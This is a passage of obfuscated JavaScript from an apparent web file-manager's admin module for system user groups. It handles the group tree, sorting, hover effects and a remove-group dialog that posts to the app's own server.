Tb8KZ','w7vDh8OgwrQ=','woIvdMOrG8O1wr3CsjTCnQ==','w5PCisKrAnk=','XxTCmcKMHQ==','VRE7w7rDh2DDiFbCl8O2w4DCjEpOwpzCvw==','csOAw7E7wpnDtsOUw40VZzt9w48=','w7zCgi8RJg==','QMOLw6Y0wphzwp4=','wpw5csOsG8O0wp/CoS3CjcKZIMK7I8OBOX12wq3DsxvCjcKKdw==','wo19PMOtwrjDkw==','csOKfsKRKMOYwqbCtGl1w5TDihZAw4jDn8OaDQ==','w49aNcOAHg==','NgjCnMO3LcKww7BjbMOmacOcRcKkw4ZIwr/CrEY=','MX3DoMOk','w4gFwr52AA==','LMOZw78u','aCQSdcOhe8K0','fMOrC8Ohw67CsnDCvcO6','GMOPZjPDvg==','w6TDl8OlwqXDtsK7wpM3wpTCt8ORw5E=','IMOFw7wkwpZ1CDBhw5YnZVPCtAwL','w5NAwqnCh1k=','Z8OAw6gEwo7DocOyw48AWic=','KcKVKyTDkg==','EsOQWy/DtAM=','Qi0Mw73Dhw==','YzlYVwk=','GCbCqAzCjg==','wrliBcOFwq8=','OzXCnC3ClcK7fMKPEcOu','w4AcGizCrA==','wqLDmiMvw4w=','YzlYVwk+wqLCisKdSS0wYsOpw7/DnSBtw5JN','w7M9wps=','wrYpwpEUWg==','cz3CuQ==','w43Cn8KgKW0l','w61gwp0yw5h/w5IBfsKDw7/Du2fDl8OkdC1EwpbCj8K7w5U=','wpkKwqU=','bcKbwrLDnVXDhA==','VMOjwq5k','w4dxwpfDkMKk','QhzCgcK0wrh0','w4xxeMKhw50=','YiTCtA==','wp5Gwo/DoRR1w67DkQ==','wogybsOtDsOQwpw=','wpIpwpIzU0PCncOI','w61gwps/w6lqw6ss','w6knHDPCisOSNA==','JhnChsOvLMKvw4pq','w6LDuMKDZUQ=','JcOCw7kswpc=','w77CuhYaJQzDicOr','wqR6w6nDgQcl','UcOaw6QZwpl0wqNg','woPCuB8xwo8=','w5hqwobCrlw=','CXkAWBN8wpA=','w4vDtAXDsA==','wqRIwrvDkxk=','bcO6CxDDhw==','w5JrwrMgw4A=','b8KmZjV0','fG4jVBU=','w6IwBSPClg==','GMOyFjUFZ8O8Gw==','wowoaMO0GsOrwr3CvQ==','ScKsTgVjwpI=','wqJqw7TDiA0zaMOg','w6TDgcOkwqU=','aT9BThkXwqnChQ==','cSXCucK4FV7CsCM=','wqcnanA=','w65kwp0uw65ww4Ub','wo9Uwp4=','wrfDuQI=','wo7CsRs4','w5sENCnCuA==','wplRwrHDnDU=','wrJQw5nDqRw=','w4jCmMKlIWwlFkw=','QsOTw78QwpNywo9K','w706ATI=','R8Obwo90wp4=','wp0ySnx4','J2oaYzM=','azbCnyTCksKqQMONGcOiO20ncxkcDA==','LMOGaAHDtA==','UwY7w63Di23DgVrChA==','F8OMaCTDshkn','RMKjQRo=','USbCssKwCQ==','w73DncO5wr8=','wooLd8OiMQ==','KzzCnzvCkw==','w4cvIT7Cqw==','woFgMMOt','woAsTHxQ','DsKLARHDpMKkbzTChTY3w7Y=','wocCwq0dT8O0','UMODw5AMwo4=','SxVjwqzDmg==','dcOPcMKOIg==','wrXDpQUP','w5YtIyjCgA==','SsK9ZCx6','w654wpouw6Jzw6YJVcKR','HMOoECwR','wpjDuAYdw68=','w7QBASPCnw==','dMKUwqnDjA==','w4FWwp3Cp10=','wolCwonDni5zw4LDsFBTwps=','w45tO8OjFgHDo8OKEMOxc8KoY8K3wrDDng==','VRE7w6fDjWjDiEY=','XzxgwoTDsQ0SDsOGdw==','dMO/JD/DgQ==','eAHCusKYBQ==','w6LDkCVobw==','w6N6wr/CrEI=','w4PCtwQywp5HegR/AT9eJTYsK3TCu8OCwqY=','w41nQcKow6sc','w58iwpQxQ1TCgMOSNcKCBcOmR39FQULChw==','wokpbcOsG8Or','w5NiNMOywr7Dln0i','w5VwRsKow7gRwo4=','GMO1ES0EbcOtGMOVw5l2w4AkAsO8Yw==','w7xEwooxw4M=','w4/CuQwZNw==','wrs4wosWTw==','w7XCgQcsEQ==','wqXDhDEkw58=','woIne8OLEQ==','woMwbkZt','N242YCc=','dTkCecOi','w5rDhBXDsyo=','WDxbTQs=','DcOCZQ==','e8KTwq7DnA==','wrfCpAwPw4vDnxo3Cl8w','QBEiw4bDlGnDrlnCgsOgw5c=','UQE9w7rDh2DDiFbCl8O2w4DCjEpOwpw=','awLCisOvLcK+w5spbsOobsOJdMKiwo5Gwr/CtFcTwprCv8KqSE9yw7k4w7kGA8KCwqUHUA==','wpTCmhU0','ZcOiQAvDmcKswrc=','VC3CncK2wqk=','wrsTQ8O3Gw==','wocfwqQV','w4XCkcKhKA=='];(function(_0x2b4336,_0x26f510){var _0x3d588b=function(_0x1d167){while(--_0x1d167){_0x2b4336['push'](_0x2b4336['shift']());}};_0x3d588b(++_0x26f510);}(_kod_0x3e09,0x130));var _kod_0x52d4=function(_0x30b36d,_0x398bd4){_0x30b36d=_0x30b36d-0x0;var _0x36404d=_kod_0x3e09[_0x30b36d];if(_kod_0x52d4['oYGAiU']===undefined){(function(){var _0xa35d0f=function(){var _0x2bb252;try{_0x2bb252=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x3cc378){_0x2bb252=window;}return _0x2bb252;};var _0x1650bd=_0xa35d0f();var _0x2354cb='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1650bd['atob']||(_0x1650bd['atob']=function(_0x576cda){var _0x120743=String(_0x576cda)['replace'](/=+$/,'');for(var _0x56f937=0x0,_0x53364e,_0x563538,_0x10b27e=0x0,_0x2aa59e='';_0x563538=_0x120743['charAt'](_0x10b27e++);~_0x563538&&(_0x53364e=_0x56f937%0x4?_0x53364e*0x40+_0x563538:_0x563538,_0x56f937++%0x4)?_0x2aa59e+=String['fromCharCode'](0xff&_0x53364e>>(-0x2*_0x56f937&0x6)):0x0){_0x563538=_0x2354cb['indexOf'](_0x563538);}return _0x2aa59e;});}());var _0x3e0bb0=function(_0x37c026,_0x52fab3){var _0x3cc2ef=[],_0x5aee9a=0x0,_0x48e011,_0x32f853='',_0x4018b0='';_0x37c026=atob(_0x37c026);for(var _0x42f7f9=0x0,_0x2f345c=_0x37c026['length'];_0x42f7f9<_0x2f345c;_0x42f7f9++){_0x4018b0+='%'+('00'+_0x37c026['charCodeAt'](_0x42f7f9)['toString'](0x10))['slice'](-0x2);}_0x37c026=decodeURIComponent(_0x4018b0);for(var _0x56e3b7=0x0;_0x56e3b7<0x100;_0x56e3b7++){_0x3cc2ef[_0x56e3b7]=_0x56e3b7;}for(_0x56e3b7=0x0;_0x56e3b7<0x100;_0x56e3b7++){_0x5aee9a=(_0x5aee9a+_0x3cc2ef[_0x56e3b7]+_0x52fab3['charCodeAt'](_0x56e3b7%_0x52fab3['length']))%0x100;_0x48e011=_0x3cc2ef[_0x56e3b7];_0x3cc2ef[_0x56e3b7]=_0x3cc2ef[_0x5aee9a];_0x3cc2ef[_0x5aee9a]=_0x48e011;}_0x56e3b7=0x0;_0x5aee9a=0x0;for(var _0x1340e3=0x0;_0x1340e3<_0x37c026['length'];_0x1340e3++){_0x56e3b7=(_0x56e3b7+0x1)%0x100;_0x5aee9a=(_0x5aee9a+_0x3cc2ef[_0x56e3b7])%0x100;_0x48e011=_0x3cc2ef[_0x56e3b7];_0x3cc2ef[_0x56e3b7]=_0x3cc2ef[_0x5aee9a];_0x3cc2ef[_0x5aee9a]=_0x48e011;_0x32f853+=String['fromCharCode'](_0x37c026['charCodeAt'](_0x1340e3)^_0x3cc2ef[(_0x3cc2ef[_0x56e3b7]+_0x3cc2ef[_0x5aee9a])%0x100]);}return _0x32f853;};_kod_0x52d4['jbuXpT']=_0x3e0bb0;_kod_0x52d4['Jahfvn']={};_kod_0x52d4['oYGAiU']=!![];}var _0x42dc74=_kod_0x52d4['Jahfvn'][_0x30b36d];if(_0x42dc74===undefined){if(_kod_0x52d4['AXdKED']===undefined){_kod_0x52d4['AXdKED']=!![];}_0x36404d=_kod_0x52d4['jbuXpT'](_0x36404d,_0x398bd4);_kod_0x52d4['Jahfvn'][_0x30b36d]=_0x36404d;}else{_0x36404d=_0x42dc74;}return _0x36404d;};define('app/src/setting/system/systemGroup',[_kod_0x52d4('0x0','Y$$a')],function(_0x24b239,_0x2a0337){var _0x7f7c07={};_0x7f7c07[_kod_0x52d4('0x1','tEH@')]=_kod_0x52d4('0x2','scnd');_0x7f7c07['xzgOq']=_kod_0x52d4('0x3','scnd');_0x7f7c07[_kod_0x52d4('0x4','Be2m')]='hover';_0x7f7c07[_kod_0x52d4('0x5','9KsU')]='POST';_0x7f7c07[_kod_0x52d4('0x6','8nWs')]=_kod_0x52d4('0x7','ZhAl');_0x7f7c07['qtdIE']=function(_0x13e4a7){return _0x13e4a7();};_0x7f7c07['UzBVc']='mouseleave';_0x7f7c07['gcDPC']=_kod_0x52d4('0x8','I&]h');_0x7f7c07[_kod_0x52d4('0x9','fL*]')]=_kod_0x52d4('0xa',')JNe');_0x7f7c07['dUosw']=function(_0x54bfc9,_0x5dada9){return _0x54bfc9+_0x5dada9;};_0x7f7c07[_kod_0x52d4('0xb','4OnW')]=function(_0x57b6ad,_0x3b5748){return _0x57b6ad(_0x3b5748);};_0x7f7c07[_kod_0x52d4('0xc','Be2m')]=function(_0x4b14a1,_0x4dc297){return _0x4b14a1+_0x4dc297;};_0x7f7c07[_kod_0x52d4('0xd','K5*M')]=function(_0x380b69,_0x59308e){return _0x380b69*_0x59308e;};_0x7f7c07[_kod_0x52d4('0xe','Uq0A')]=function(_0x4ec286,_0x462433){return _0x4ec286+_0x462433;};_0x7f7c07[_kod_0x52d4('0xf','JzME')]=_kod_0x52d4('0x10','tEH@');_0x7f7c07['PIiLd']=_kod_0x52d4('0x11','[XNn');_0x7f7c07[_kod_0x52d4('0x12','scnd')]='data-group-id';_0x7f7c07[_kod_0x52d4('0x13','ZhAl')]=function(_0x12ef14,_0x938994){return _0x12ef14!==_0x938994;};_0x7f7c07[_kod_0x52d4('0x14','d)@I')]=function(_0x49e40c,_0x1c163b){return _0x49e40c(_0x1c163b);};_0x7f7c07['tPBEi']=_kod_0x52d4('0x15','(ukT');_0x7f7c07[_kod_0x52d4('0x16','3%xT')]=function(_0x38ad03,_0x17a79a){return _0x38ad03===_0x17a79a;};_0x7f7c07[_kod_0x52d4('0x17','#Nir')]=function(_0x2f6356,_0x41e5b0){return _0x2f6356!=_0x41e5b0;};_0x7f7c07['yaiiv']=_kod_0x52d4('0x18','%cFF');_0x7f7c07[_kod_0x52d4('0x19','3%xT')]='OZlrR';_0x7f7c07[_kod_0x52d4('0x1a','z0Kr')]=function(_0x17f9a7,_0x40b31b){return _0x17f9a7<_0x40b31b;};_0x7f7c07['UQGoB']=function(_0x3d6983,_0x298b8c){return _0x3d6983>_0x298b8c;};_0x7f7c07[_kod_0x52d4('0x1b','(ukT')]=function(_0x27881b,_0x7452c7){return _0x27881b*_0x7452c7;};_0x7f7c07[_kod_0x52d4('0x1c','qHRm')]=function(_0x56dbbd,_0x21aa59){return _0x56dbbd(_0x21aa59);};_0x7f7c07[_kod_0x52d4('0x1d','VeQA')]=function(_0x1d539b,_0xc82c40){return _0x1d539b(_0xc82c40);};_0x7f7c07[_kod_0x52d4('0x1e','(ukT')]=function(_0x4c600d,_0x5e0f66){return _0x4c600d!==_0x5e0f66;};_0x7f7c07[_kod_0x52d4('0x1f','GVAq')]=_kod_0x52d4('0x20','(ukT');_0x7f7c07[_kod_0x52d4('0x21','EZw@')]=function(_0x5cdfdf,_0x40e136){return _0x5cdfdf(_0x40e136);};_0x7f7c07[_kod_0x52d4('0x22','Y$$a')]=_kod_0x52d4('0x23','Nj6Q');_0x7f7c07[_kod_0x52d4('0x24','4OnW')]=function(_0x2f2b4d,_0x2f9152){return _0x2f2b4d==_0x2f9152;};_0x7f7c07[_kod_0x52d4('0x25','y8Q5')]=function(_0x2ebf7a,_0x28504b,_0x19c12c){return _0x2ebf7a(_0x28504b,_0x19c12c);};_0x7f7c07[_kod_0x52d4('0x26','M5(%')]=_kod_0x52d4('0x27','tEH@');_0x7f7c07[_kod_0x52d4('0x28','Nj6Q')]=_kod_0x52d4('0x29','4$Bj');_0x7f7c07[_kod_0x52d4('0x2a','y8Q5')]=function(_0x44cf53,_0x3a8f43){return _0x44cf53(_0x3a8f43);};_0x7f7c07[_kod_0x52d4('0x2b','M5(%')]=_kod_0x52d4('0x2c','yo[P');_0x7f7c07[_kod_0x52d4('0x2d','I&]h')]=function(_0x3f32da,_0x1dc22c){return _0x3f32da+_0x1dc22c;};_0x7f7c07[_kod_0x52d4('0x2e','3%xT')]='edit';_0x7f7c07['FsVDu']='add-user';_0x7f7c07[_kod_0x52d4('0x2f','m2!C')]=_kod_0x52d4('0x30','VeQA');_0x7f7c07[_kod_0x52d4('0x31','Y$$a')]=_kod_0x52d4('0x32','[XNn');_0x7f7c07['AeXln']=_kod_0x52d4('0x33','4$Bj');_0x7f7c07['VELCY']=_kod_0x52d4('0x34','9KsU');_0x7f7c07[_kod_0x52d4('0x35','y8Q5')]=function(_0x520692,_0xb02e3){return _0x520692==_0xb02e3;};_0x7f7c07[_kod_0x52d4('0x36','EZw@')]=_kod_0x52d4('0x37','8nWs');_0x7f7c07['Zgxqg']=_kod_0x52d4('0x38','27%W');_0x7f7c07[_kod_0x52d4('0x39','Nj6Q')]=_kod_0x52d4('0x3a','9KsU');_0x7f7c07[_kod_0x52d4('0x3b','m2!C')]=_kod_0x52d4('0x3c','4OnW');_0x7f7c07['OsDNq']=function(_0x2cb7cc,_0x225b0c){return _0x2cb7cc==_0x225b0c;};_0x7f7c07['BHgtI']=function(_0x1bf43a,_0x3847b8){return _0x1bf43a(_0x3847b8);};_0x7f7c07['pZDGo']=_kod_0x52d4('0x3d','65Sf');_0x7f7c07[_kod_0x52d4('0x3e','M5(%')]=function(_0x81589,_0x3b2206){return _0x81589>=_0x3b2206;};_0x7f7c07[_kod_0x52d4('0x3f','%cFF')]=function(_0x595397,_0x1778bb){return _0x595397(_0x1778bb);};_0x7f7c07[_kod_0x52d4('0x40','yQtY')]=function(_0x148120,_0x6cb130){return _0x148120+_0x6cb130;};_0x7f7c07[_kod_0x52d4('0x41','Y$$a')]=_kod_0x52d4('0x42','(B)H');_0x7f7c07['KrpJG']=_kod_0x52d4('0x43','ZhAl');_0x7f7c07[_kod_0x52d4('0x44','JzME')]=function(_0x968430,_0xfc4707){return _0x968430!=_0xfc4707;};_0x7f7c07[_kod_0x52d4('0x45','3*@r')]=_kod_0x52d4('0x46','r85j');_0x7f7c07[_kod_0x52d4('0x47','65Sf')]='share-dialog';_0x7f7c07[_kod_0x52d4('0x48','I&]h')]=_kod_0x52d4('0x49','kFjo');_0x7f7c07['wnmaC']=function(_0x39c76c,_0x4e26e7){return _0x39c76c+_0x4e26e7;};_0x7f7c07['vLGsd']=function(_0x43cfbc,_0xfe2ff2){return _0x43cfbc(_0xfe2ff2);};_0x7f7c07[_kod_0x52d4('0x4a','(ukT')]=_kod_0x52d4('0x4b','(B)H');_0x7f7c07[_kod_0x52d4('0x4c','dqHf')]=function(_0x5557c3,_0x4c0a7c){return _0x5557c3(_0x4c0a7c);};_0x7f7c07['XDaWc']=_kod_0x52d4('0x4d','5my5');_0x7f7c07['irxZd']='.select-path\x20a.reset';_0x7f7c07[_kod_0x52d4('0x4e','kFjo')]=_kod_0x52d4('0x4f','3%xT');_0x7f7c07[_kod_0x52d4('0x50','3%xT')]=_kod_0x52d4('0x51','7Pa5');_0x7f7c07[_kod_0x52d4('0x52','7j9g')]='KUvXT';_0x7f7c07[_kod_0x52d4('0x53','M5(%')]='input';var _0x529cd0,_0x21ec33,_0x238194,_0x5ad10a,_0x29b261=function(){var _0x5eebff={};_0x5eebff['XQumK']='switch_hover';_0x5eebff[_kod_0x52d4('0x54','Uq0A')]=function(_0x18bf2f){return _0x18bf2f();};_0x5eebff[_kod_0x52d4('0x55','JzME')]=_0x7f7c07.LowhJ;_0x5eebff[_kod_0x52d4('0x56','m2!C')]=function(_0x35a884,_0x53d965){return _0x35a884+_0x53d965;};_0x5eebff[_kod_0x52d4('0x57','#Nir')]=_0x7f7c07.dtLew;_0x7f7c07['qtdIE'](_0x4719a4),_0x7f7c07['qtdIE'](_0x38a368),$(_kod_0x52d4('0x58','I&]h'))[_kod_0x52d4('0x59','K5*M')](_kod_0x52d4('0x5a','IfKz'))[_kod_0x52d4('0x5b','K5*M')](_kod_0x52d4('0x5c','fL*]'),function(){$(this)[_kod_0x52d4('0x5d','VeQA')](_kod_0x52d4('0x5e','m2!C'));})['die'](_0x7f7c07[_kod_0x52d4('0x5f','fL*]')])[_kod_0x52d4('0x60','z0Kr')](_0x7f7c07[_kod_0x52d4('0x61','5T!o')],function(){var _0x578716={};_0x578716[_kod_0x52d4('0x62','3%xT')]='switch_hover';if(_kod_0x52d4('0x63','yQtY')!=='SvozX'){$(this)[_kod_0x52d4('0x64','ZhAl')](_0x5eebff[_kod_0x52d4('0x65','VeQA')]);}else{$(this)['addClass'](_0x578716['ZpkOl']);}}),$(_kod_0x52d4('0x66','Nj6Q'))['die']('mouseenter')[_kod_0x52d4('0x67','yo[P')](_0x7f7c07[_kod_0x52d4('0x68','r85j')],function(){if('RquCO'!==_0x7f7c07[_kod_0x52d4('0x69','EZw@')]){var _0x24fcae=_0x21ec33[_0x238194],_0x5120f2=_0x24fcae[_kod_0x52d4('0x6a','km&J')];if(_0x21ec33[_0x5120f2])_0x21ec33[_0x5120f2][_kod_0x52d4('0x6b','Be2m')]||(_0x21ec33[_0x5120f2][_kod_0x52d4('0x6c','5hzJ')]=[]),_0x21ec33[_0x5120f2]['child']['push'](_0x21ec33[_0x24fcae[_kod_0x52d4('0x6d','Nj6Q')]]);else{var _0x1710ed=_0x21ec33[_0x24fcae[_kod_0x52d4('0x6e','K5*M')]];_0x1710ed&&_0x529cd0['push'](_0x1710ed);}}else{$(this)['addClass']('hover');}})[_kod_0x52d4('0x6f','Y$$a')](_kod_0x52d4('0x70','K5*M'))[_kod_0x52d4('0x71','dqHf')](_kod_0x52d4('0x72','65Sf'),function(){if('texfA'===_0x7f7c07[_kod_0x52d4('0x73','r85j')]){var jUzxYQ={};jUzxYQ['hBFEa']=function(_0x240c4f){return _0x5eebff.pvNpy(_0x240c4f);};jUzxYQ[_kod_0x52d4('0x74','XOZ%')]=_0x5eebff.GUALs;var _0x224264=_0x529cd0[_kod_0x52d4('0x75','5hzJ')]()[0x0],_0x3f6c43=_0x224264[_kod_0x52d4('0x76','VeQA')](),_0x52d698=_0x5eebff[_kod_0x52d4('0x77','*dfg')](G[_kod_0x52d4('0x78','scnd')]+_kod_0x52d4('0x79','65Sf'),_0x24b239);$[_kod_0x52d4('0x7a','5my5')]({'id':_kod_0x52d4('0x7b','d)@I'),'fixed':!0x0,'icon':_0x5eebff[_kod_0x52d4('0x7c','%cFF')],'title':LNG[_kod_0x52d4('0x7d','y8Q5')],'padding':0x1e,'width':0x12c,'lock':!0x0,'background':_kod_0x52d4('0x7e','XOZ%'),'opacity':0.3,'content':LNG['system_group_remove_tips'],'ok':function(){$['ajax']({'url':_0x52d698,'type':jUzxYQ[_kod_0x52d4('0x7f','7j9g')],'dataType':_kod_0x52d4('0x80','(B)H'),'beforeSend':function(){Tips[_kod_0x52d4('0x81','9Dek')]();},'error':core[_kod_0x52d4('0x82','kFjo')],'success':function(_0xa8f8cf){Tips[_kod_0x52d4('0x83','qHRm')](_0xa8f8cf),System[_kod_0x52d4('0x84','dqHf')]['resetList'](),_0x19cafb(_kod_0x52d4('0x85','(B)H'),_0x3f6c43['id']),jUzxYQ[_kod_0x52d4('0x86','Nj6Q')](_0x38a368),'function'==typeof _0x2a0337&&_0x2a0337(_0x24b239);}});},'cancel':!0x0});}else{$(this)[_kod_0x52d4('0x87','VeQA')](_0x7f7c07[_kod_0x52d4('0x88','#Nir')]);}}),G[_kod_0x52d4('0x89','qHRm')]||$('[data-action=group-home')['addClass'](_0x7f7c07['YBXmp']);},_0x5b8735={},_0x19cafb=function(_0x120d14,_0x4de812){var _0x4c83cb={};_0x4c83cb[_kod_0x52d4('0x8a','5hzJ')]=_kod_0x52d4('0x8b','fL*]');if(_kod_0x52d4('0x8c','7Pa5')===_kod_0x52d4('0x8d','5my5')){if('folder-list-tree'==_0x120d14){_0x5ad10a=_0x4de812;var _0x21ec33=_0x529cd0['getNodeByParam']('id',_0x4de812,null);_0x529cd0[_kod_0x52d4('0x8e','7Pa5')](_0x21ec33),_0x7f7c07[_kod_0x52d4('0x8f','Uq0A')](_0x18c9e2,_0x4de812);}else _0x7f7c07[_kod_0x52d4('0x90','tEH@')]==_0x120d14&&($(_kod_0x52d4('0x91','fL*]'))[_kod_0x52d4('0x92','7j9g')](_0x4de812),$('.select-group')['addClass'](_0x7f7c07[_kod_0x52d4('0x93','4$Bj')]),_0x24b953());}else{var _0x553c07=this;core[_kod_0x52d4('0x94','XOZ%')]['pathSelect']({'type':_kod_0x52d4('0x95','r85j'),'title':LNG[_kod_0x52d4('0x96','EZw@')],'firstPath':$('.select-path\x20input')[_kod_0x52d4('0x97','4$Bj')]()},function(_0x347c7b){$(_0x553c07)[_kod_0x52d4('0x98','IfKz')]()[_kod_0x52d4('0x99','m2!C')](_0x4c83cb['pYCTe'])['val'](_0x347c7b);});}},_0x357c52=function(_0x3ae00f){var _0x2a0337=function(_0xad63b9){if(_0x7f7c07[_kod_0x52d4('0x9a','M5(%')]('LNDzW','LNDzW')){for(var _0x529cd0=0x0;_0x529cd0<_0xad63b9[_kod_0x52d4('0x9b','(ukT')];_0x529cd0++)_0x7f7c07[_kod_0x52d4('0x9c','yQtY')](void 0x0,_0xad63b9[_0x529cd0])?(_0xad63b9[_0x529cd0][_kod_0x52d4('0x9d','XOZ%')]=_0xad63b9[_0x529cd0][_kod_0x52d4('0x9e','JzME')],_0xad63b9[_0x529cd0]['id']=_0xad63b9[_0x529cd0][_kod_0x52d4('0x9f','65Sf')],delete _0xad63b9[_0x529cd0][_kod_0x52d4('0xa0','I&]h')],delete _0xad63b9[_0x529cd0][_kod_0x52d4('0xa1','EZw@')],delete _0xad63b9[_0x529cd0][_kod_0x52d4('0xa2','Uq0A')],_0xad63b9[_0x529cd0]['child']&&(_0xad63b9[_0x529cd0][_kod_0x52d4('0xa3','y8Q5')]=_0xad63b9[_0x529cd0][_kod_0x52d4('0xa4','27%W')],delete _0xad63b9[_0x529cd0][_kod_0x52d4('0xa5','(B)H')],_0x2a0337(_0xad63b9[_0x529cd0][_kod_0x52d4('0xa6','*dfg')]))):delete _0xad63b9[_0x529cd0];}else{return _0x21ec33;}},_0x529cd0=[],_0x21ec33=$[_kod_0x52d4('0xa7','GVAq')](!0x0,{},_0x3ae00f);for(var _0x238194 in _0x21ec33){var _0x5ad10a=_0x21ec33[_0x238194],_0x29b261=_0x5ad10a[_kod_0x52d4('0xa8','scnd')];if(_0x21ec33[_0x29b261])_0x21ec33[_0x29b261][_kod_0x52d4('0xa9','Y$$a')]||(_0x21ec33[_0x29b261][_kod_0x52d4('0xaa','Nj6Q')]=[]),_0x21ec33[_0x29b261]['child']['push'](_0x21ec33[_0x5ad10a[_kod_0x52d4('0xab','Be2m')]]);else{var _0x5b8735=_0x21ec33[_0x5ad10a['groupID']];_0x5b8735&&_0x529cd0[_kod_0x52d4('0xac',')JNe')](_0x5b8735);}}var _0x19cafb=function(_0x4285e7,_0x2443f8){var _0x17537c={};_0x17537c[_kod_0x52d4('0xad','JzME')]=_0x7f7c07.yaiiv;_0x17537c[_kod_0x52d4('0xae','8nWs')]=function(_0x3d21b4,_0x3fb545){return _0x7f7c07.xOSwS(_0x3d21b4,_0x3fb545);};if(_0x7f7c07[_kod_0x52d4('0xaf','EZw@')]!=='OZlrR'){var _0x292cc6=_0x17537c[_kod_0x52d4('0xb0','ZhAl')]+_0x17537c[_kod_0x52d4('0xb1','4OnW')](_0x529cd0,_0x2443f8[_kod_0x52d4('0xb2','Uq0A')])+'px\x27>';_0x21ec33['before'](_0x292cc6);}else{_0x4285e7[_kod_0x52d4('0xb3','3*@r')]&&_0x4285e7[_kod_0x52d4('0xb4','65Sf')][_kod_0x52d4('0xb5','ZhAl')]>0x0&&_0x4285e7[_kod_0x52d4('0xb6','GVAq')][_kod_0x52d4('0xb7','dqHf')](_0x19cafb),_0x2443f8['children']&&_0x2443f8[_kod_0x52d4('0xb8','fL*]')]['length']>0x0&&_0x2443f8[_kod_0x52d4('0xb9','XOZ%')][_kod_0x52d4('0xba','yo[P')](_0x19cafb);var _0x529cd0=G[_kod_0x52d4('0xbb','EZw@')]['orderSort']||_kod_0x52d4('0xbc','JzME'),_0x21ec33=_kod_0x52d4('0xbd','tEH@')==_0x529cd0?0x1:-0x1,_0x238194=_0x4285e7&&_0x4285e7['sort']?_kod_0x52d4('0xba','yo[P'):_kod_0x52d4('0xbe','Y$$a');return _0x7f7c07['PhBSg'](parseInt(_0x4285e7[_0x238194]),parseInt(_0x2443f8[_0x238194]))?-0x1*_0x21ec33:_0x7f7c07[_kod_0x52d4('0xbf','Uq0A')](parseInt(_0x4285e7[_0x238194]),parseInt(_0x2443f8[_0x238194]))?_0x7f7c07[_kod_0x52d4('0xc0','JzME')](0x1,_0x21ec33):(_0x238194='createTime',parseInt(_0x4285e7[_0x238194])<_0x7f7c07['aAJvu'](parseInt,_0x2443f8[_0x238194])?-0x1:_0x7f7c07[_kod_0x52d4('0xc1','GVAq')](parseInt,_0x4285e7[_0x238194])>parseInt(_0x2443f8[_0x238194])?0x1:0x0);}};return _0x2a0337(_0x529cd0),_0x529cd0[0x0][_kod_0x52d4('0xc2','r85j')]&&_0x529cd0[0x0][_kod_0x52d4('0xc3','scnd')][_kod_0x52d4('0xc4','Uq0A')](_0x19cafb),_0x529cd0;},_0x38a368=function(){var _0x56f141={};_0x56f141[_kod_0x52d4('0xc5','m2!C')]=function(_0x1bdddc,_0x48191f){return _0x1bdddc!==_0x48191f;};_0x56f141[_kod_0x52d4('0xc6','yo[P')]=function(_0x4ff420,_0x13d189){return _0x4ff420(_0x13d189);};_0x56f141[_kod_0x52d4('0xc7','Be2m')]=_kod_0x52d4('0xc8','7Pa5');_0x56f141['TdTxy']=_0x7f7c07.otDNm;_0x56f141[_kod_0x52d4('0xc9','qHRm')]='';var _0x24b239=$[_kod_0x52d4('0xca','5hzJ')][_kod_0x52d4('0xcb','qHRm')]();$[_kod_0x52d4('0xcc','ZhAl')]({'url':G['appHost']+_0x7f7c07[_kod_0x52d4('0xcd','XOZ%')],'dataType':_kod_0x52d4('0xce','dqHf'),'error':function(){if(_0x56f141['uQOtj']('sZBgo',_kod_0x52d4('0xcf','65Sf'))){_0x24b239[_kod_0x52d4('0xd0','7Pa5')](),_0x56f141[_kod_0x52d4('0xd1','Uq0A')]($,_0x56f141['IauNP'])[_kod_0x52d4('0xd2','5my5')](_0x56f141[_kod_0x52d4('0xd3','yo[P')]+LNG[_kod_0x52d4('0xd4','#Nir')]+_0x56f141['WeaAo']);}else{$('.select-group')['toggleClass'](_kod_0x52d4('0xd5','4$Bj'));}},'success':function(_0x1260ce){if(_0x7f7c07['ecNKL'](_0x7f7c07[_kod_0x52d4('0xd6','VeQA')],_kod_0x52d4('0xd7','59c7'))){_0x19cafb(_0x24b239,_0x1260ce['id']);}else{if(_0x24b239[_kod_0x52d4('0xd8','d)@I')](),!_0x1260ce[_kod_0x52d4('0xd9','tEH@')])return void _0x7f7c07[_kod_0x52d4('0xda','Uq0A')]($,'#folder-list-tree')['html'](_0x7f7c07['JLhCK'](_0x7f7c07[_kod_0x52d4('0xdb','ZhAl')]+LNG['system_error'],''));_0x238194=core[_kod_0x52d4('0xdc','EZw@')](_0x1260ce,_kod_0x52d4('0xdd','3*@r'));var _0x29b261={};if(_0x7f7c07[_kod_0x52d4('0xde','tEH@')](core['versionType'],String['fromCharCode'](0x41)))for(var _0x38a368 in _0x238194){_0x29b261[_0x38a368]=_0x238194[_0x38a368],_0x238194=_0x29b261;break;}_0x21ec33=_0x357c52(_0x238194),$['fn'][_kod_0x52d4('0xdf','Uq0A')][_kod_0x52d4('0xe0','IfKz')]($('#folder-list-tree'),_0x5b8735,_0x21ec33),_0x529cd0=$['fn'][_kod_0x52d4('0xe1','Nj6Q')][_kod_0x52d4('0xe2','JzME')](_kod_0x52d4('0xe3','%cFF'));var _0x350fcc=_0x529cd0[_kod_0x52d4('0xe4','5hzJ')]();_0x529cd0[_kod_0x52d4('0xe5','59c7')](_0x350fcc[0x0],!0x0),void 0x0==_0x5ad10a&&(_0x5ad10a='1'),_0x7f7c07[_kod_0x52d4('0xe6','8nWs')](_0x19cafb,_0x7f7c07[_kod_0x52d4('0xe7','XOZ%')],_0x5ad10a),_0x7f7c07[_kod_0x52d4('0xe8','K5*M')](0x0,_0x7f7c07[_kod_0x52d4('0xe9','Nj6Q')]($,_kod_0x52d4('0xea','Y$$a'))[_kod_0x52d4('0xeb','yQtY')])&&_0x3bdbb2();}}});},_0x350fcc=function(){$(_kod_0x52d4('0xec','I&]h'))[_kod_0x52d4('0xed','65Sf')](_kod_0x52d4('0xee','5my5'))[_kod_0x52d4('0xef','yQtY')](_kod_0x52d4('0xf0','3*@r'));},_0x4719a4=function(){var _0x36d908={};_0x36d908[_kod_0x52d4('0xf1','EZw@')]=function(_0x12fa60,_0x4c5aeb){return 